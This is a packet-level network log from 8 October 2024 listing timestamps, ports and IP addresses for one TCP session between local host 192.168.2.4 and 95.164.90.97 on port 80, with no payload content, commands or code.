Oct 8, 2024 02:45:23.751586914 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.751616955 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.752300024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.752310038 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.752317905 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.752329111 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.752336979 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.752346992 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.752348900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.752357960 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.752360106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.752367973 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.752378941 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.752378941 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.752388954 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.752398968 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.752423048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.753007889 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.753016949 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.753026009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.753035069 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.753046989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.753072023 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.753077984 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.753087997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.753097057 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.753098011 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.753107071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.753117085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.753117085 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.753129005 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.753153086 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.753834963 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.753844023 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.753853083 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.753863096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.753871918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.753880024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.753891945 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.753896952 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.753905058 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.753910065 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.753918886 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.753926992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.753927946 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.753938913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.753956079 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.753988981 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.754704952 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.754714012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.754723072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.754731894 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.754741907 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.754750967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.754760027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.754765987 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.754771948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.754796982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.754807949 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.768446922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.768503904 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.768515110 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.768544912 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.768558025 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.768632889 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.768644094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.768655062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.768682957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.768695116 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.768973112 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.769022942 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.769855976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.769901991 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.769931078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.769942045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.769973993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.770049095 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.770112991 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.770169020 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.770209074 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.770220041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.770240068 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.770251989 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.770282030 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.770756006 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.770797968 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.770827055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.770838976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.770872116 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.771040916 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.771050930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.771068096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.771087885 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.771104097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.771126986 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.817564011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.817615032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.817624092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.817686081 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.817754984 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.817773104 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.817783117 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.817792892 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.817864895 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.818229914 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.818296909 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.838968039 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.839027882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.839037895 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.839059114 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.839113951 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.839209080 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.839277029 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.839308977 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.839318991 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.839329004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.839338064 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.839348078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.839373112 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.839466095 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.839720964 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.839730978 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.839740038 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.839749098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.839759111 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.839768887 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.839780092 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.839797974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.840080976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.840090990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.840100050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.840109110 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.840117931 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.840128899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.840132952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.840153933 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.840167999 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.840468884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.840517044 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.840552092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.840563059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.840570927 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.840580940 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.840590000 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.840599060 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.840600014 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.840616941 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.840624094 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.840626955 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.840639114 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.840662003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.841255903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.841265917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.841274023 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.841283083 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.841293097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.841303110 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.841308117 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.841311932 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.841315031 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.841322899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.841331959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.841337919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.841342926 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.841350079 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.841352940 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.841368914 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.841388941 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.842181921 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.842192888 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.842201948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.842211008 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.842220068 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.842230082 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.842231989 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.842242002 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.842247009 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.842252970 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.842258930 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.842262983 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.842272997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.842278957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.842282057 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.842293024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.842303038 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.842324972 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.843116045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.843126059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.843133926 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.843142986 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.843152046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.843162060 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.843163013 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.843170881 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.843177080 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.843198061 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.843203068 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.843213081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.843221903 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.843225002 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.843235016 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.843245983 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.843270063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.843998909 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.844008923 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.844017029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.844027042 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.844034910 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.844044924 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.844050884 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.844052076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.844058990 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.844063044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.844072104 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.844078064 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.844082117 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.844091892 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.844095945 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.844103098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.844110012 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.844129086 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.844152927 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.844763994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.844809055 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.844863892 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.844873905 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.844882011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.844892025 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.844901085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.844909906 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.844912052 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.844919920 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.844929934 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.844935894 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.844939947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.844949961 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.844974995 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.859230042 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.859281063 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.859285116 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.859291077 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.859316111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.859327078 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.859435081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.859443903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.859452963 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.859462976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.859488964 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.859505892 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.859687090 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.859743118 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.860595942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.860651970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.860657930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.860670090 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.860706091 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.860831976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.860842943 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.860852957 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.860882998 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.860893965 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.861041069 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.861088037 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.861248970 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.861293077 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.861326933 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.861336946 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.861368895 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.861474991 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.861485958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.861495972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.861505985 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.861515045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.861522913 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.861540079 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.861560106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.908407927 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.908479929 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.908489943 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.908521891 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.908596039 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.908622026 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.908632040 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.908641100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.908649921 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.908725977 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.929388046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.929434061 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.929444075 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.929444075 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.929471016 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.929485083 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.929548025 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.929630995 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.929666996 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.929677963 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.929687023 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.929696083 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.929713011 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.929738998 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.929919958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.929969072 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.929996014 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.930006027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.930033922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.930180073 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.930188894 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.930198908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.930208921 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.930217028 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.930222988 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.930233002 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.930253029 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.930496931 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.930507898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.930516958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.930527925 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.930557013 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.930567980 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.930856943 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.930866957 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.930876970 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.930908918 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.930919886 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.931000948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.931010962 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.931052923 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.931096077 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.931107044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.931114912 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.931126118 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.931134939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.931142092 CEST	51293	80	192.168.2.4	95.164.90.97
